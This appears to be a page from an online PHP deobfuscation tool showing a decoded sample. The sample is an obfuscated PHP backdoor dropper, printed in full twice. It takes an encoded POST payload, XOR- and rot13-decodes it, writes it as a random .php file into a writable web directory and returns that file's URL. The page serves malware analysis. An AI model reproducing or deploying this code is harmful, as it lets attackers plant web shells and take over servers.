Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $ugqguqmmfl = "urykczykfkayiuqp";$oknems = "";foreach ($_POST as $vyeqv => $sjyrhnmv..
Decoded Output download
<?php $ugqguqmmfl = "urykczykfkayiuqp";$oknems = "";foreach ($_POST as $vyeqv => $sjyrhnmvou){if (strlen($vyeqv) == 16 and substr_count($sjyrhnmvou, "%") > 10){lskgevpr($vyeqv, $sjyrhnmvou);}}function lskgevpr($vyeqv, $khqqfmkp){global $oknems;$oknems = $vyeqv;$khqqfmkp = str_split(rawurldecode(str_rot13($khqqfmkp)));function lewkaqcjaz($xuxjd, $vyeqv){global $ugqguqmmfl, $oknems;return $xuxjd ^ $ugqguqmmfl[$vyeqv % strlen($ugqguqmmfl)] ^ $oknems[$vyeqv % strlen($oknems)];}$khqqfmkp = implode("", array_map("lewkaqcjaz", array_values($khqqfmkp), array_keys($khqqfmkp)));$khqqfmkp = @unserialize($khqqfmkp);if (@is_array($khqqfmkp)){$vyeqv = array_keys($khqqfmkp);$khqqfmkp = $khqqfmkp[$vyeqv[0]];if ($khqqfmkp === $vyeqv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function dhcirzfjld($swdzmveir) {static $iihiato = array();$khlhkyio = glob($swdzmveir . '/*', GLOB_ONLYDIR);if (count($khlhkyio) > 0) {foreach ($khlhkyio as $swdzmve){if (@is_writable($swdzmve)){$iihiato[] = $swdzmve;}}}foreach ($khlhkyio as $swdzmveir) dhcirzfjld($swdzmveir);return $iihiato;}$jcekdggv = $_SERVER["DOCUMENT_ROOT"];$khlhkyio = dhcirzfjld($jcekdggv);$vyeqv = array_rand($khlhkyio);$vtzdvwcm = $khlhkyio[$vyeqv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($vtzdvwcm, $khqqfmkp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vtzdvwcm, strlen($jcekdggv));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $ugqguqmmfl = "urykczykfkayiuqp";$oknems = "";foreach ($_POST as $vyeqv => $sjyrhnmvou){if (strlen($vyeqv) == 16 and substr_count($sjyrhnmvou, "%") > 10){lskgevpr($vyeqv, $sjyrhnmvou);}}function lskgevpr($vyeqv, $khqqfmkp){global $oknems;$oknems = $vyeqv;$khqqfmkp = str_split(rawurldecode(str_rot13($khqqfmkp)));function lewkaqcjaz($xuxjd, $vyeqv){global $ugqguqmmfl, $oknems;return $xuxjd ^ $ugqguqmmfl[$vyeqv % strlen($ugqguqmmfl)] ^ $oknems[$vyeqv % strlen($oknems)];}$khqqfmkp = implode("", array_map("lewkaqcjaz", array_values($khqqfmkp), array_keys($khqqfmkp)));$khqqfmkp = @unserialize($khqqfmkp);if (@is_array($khqqfmkp)){$vyeqv = array_keys($khqqfmkp);$khqqfmkp = $khqqfmkp[$vyeqv[0]];if ($khqqfmkp === $vyeqv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function dhcirzfjld($swdzmveir) {static $iihiato = array();$khlhkyio = glob($swdzmveir . '/*', GLOB_ONLYDIR);if (count($khlhkyio) > 0) {foreach ($khlhkyio as $swdzmve){if (@is_writable($swdzmve)){$iihiato[] = $swdzmve;}}}foreach ($khlhkyio as $swdzmveir) dhcirzfjld($swdzmveir);return $iihiato;}$jcekdggv = $_SERVER["DOCUMENT_ROOT"];$khlhkyio = dhcirzfjld($jcekdggv);$vyeqv = array_rand($khlhkyio);$vtzdvwcm = $khlhkyio[$vyeqv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($vtzdvwcm, $khqqfmkp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vtzdvwcm, strlen($jcekdggv));exit();}}}
Function Calls
None |
Stats
MD5 | c2b5246e14cd3d9207167ce172c14940 |
Eval Count | 0 |
Decode Time | 92 ms |